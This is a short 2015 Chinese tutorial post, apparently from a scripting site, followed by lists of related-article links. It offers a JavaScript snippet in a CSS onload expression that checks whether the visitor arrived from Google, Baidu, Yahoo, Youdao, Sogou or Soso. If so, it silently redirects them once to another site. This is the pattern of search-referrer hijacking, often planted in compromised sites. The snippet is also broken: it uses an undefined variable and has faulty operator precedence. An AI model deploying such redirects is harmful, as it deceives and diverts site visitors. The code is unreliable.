JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
用js重建星际争霸
Dec 22 Javascript
javascript之解决IE下不渲染的bug
Jun 29 Javascript
JavaScript 继承使用分析
May 12 Javascript
js获取客户端外网ip的简单实例
Nov 21 Javascript
封装了一个支持匿名函数的Javascript事件监听器
Jun 05 Javascript
Windows 系统下安装和部署Egret的开发环境
Jul 31 Javascript
Jquery删除css属性的简单方法
Dec 04 Javascript
vue2.0 路由模式mode="history"的作用
Oct 18 Javascript
浅谈javascript中的prototype和__proto__的理解
Apr 07 Javascript
浅入深出Vue之组件使用
Jul 11 Javascript
只有 20 行的 JavaScript 模板引擎实例详解
May 11 Javascript
Vue 基于 vuedraggable 实现选中、拖拽、排序效果
May 18 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
网页游戏开发入门教程二(游戏模式+系统)
2009/11/02 PHP
[原创]php集成安装包wampserver修改密码后phpmyadmin无法登陆的解决方法
2016/11/23 PHP
Laravel Eloquent分表方法并使用模型关联的实现
2019/11/25 PHP
JavaScript去除空格的几种方法
2006/10/03 Javascript
Jquery实现无刷新DropDownList联动实现代码
2010/03/08 Javascript
js onload事件不起作用示例分析
2013/10/09 Javascript
JSON.stringify转换JSON时日期时间不准确的解决方法
2014/08/08 Javascript
js限制input标签中只能输入中文
2015/06/26 Javascript
jQuery实现列表内容的动态载入特效
2015/08/08 Javascript
JS与Ajax Get和Post在使用上的区别实例详解
2016/06/08 Javascript
一道面试题引发的对javascript类型转换的思考
2017/03/06 Javascript
微信小程序websocket实现即时聊天功能
2019/05/21 Javascript
JavaScript实现的滚动公告特效【基于jQuery】
2019/07/10 jQuery
Angular value与ngValue区别详解
2019/11/27 Javascript
深入解读VUE中的异步渲染的实现
2020/06/19 Javascript
TypeScript 引用资源文件后提示找不到的异常处理技巧
2020/07/15 Javascript
通过实例解析vuejs如何实现调试代码
2020/07/16 Javascript
jquery+ajax实现异步上传文件显示进度条
2020/08/17 jQuery
Linux下编译安装MySQL-Python教程
2015/02/02 Python
Python实现新浪博客备份的方法
2016/04/27 Python
Django项目实战之用户头像上传与访问的示例
2018/04/21 Python
Python3利用print输出带颜色的彩色字体示例代码
2019/04/08 Python
python3使用腾讯企业邮箱发送邮件的实例
2019/06/28 Python
python Scrapy框架原理解析
2021/01/04 Python
Bodum官网:咖啡和茶壶、玻璃器皿、厨房电器等
2018/08/01 全球购物
外科实习自我鉴定
2013/10/06 职场文书
工程总经理工作职责
2013/12/09 职场文书
毕业生自我鉴定实例
2014/01/21 职场文书
社区庆八一活动方案
2014/02/02 职场文书
安全生产先进个人材料
2014/02/06 职场文书
商学院大学生求职的自我评价
2014/03/12 职场文书
领导班子对照检查材料
2014/09/22 职场文书
2014年工程师工作总结
2014/11/25 职场文书
解决Go gorm踩过的坑
2021/04/30 Golang
vue修饰符.capture和.self的区别
2022/04/22 Vue.js
Python 中面向接口编程
2022/05/20 Python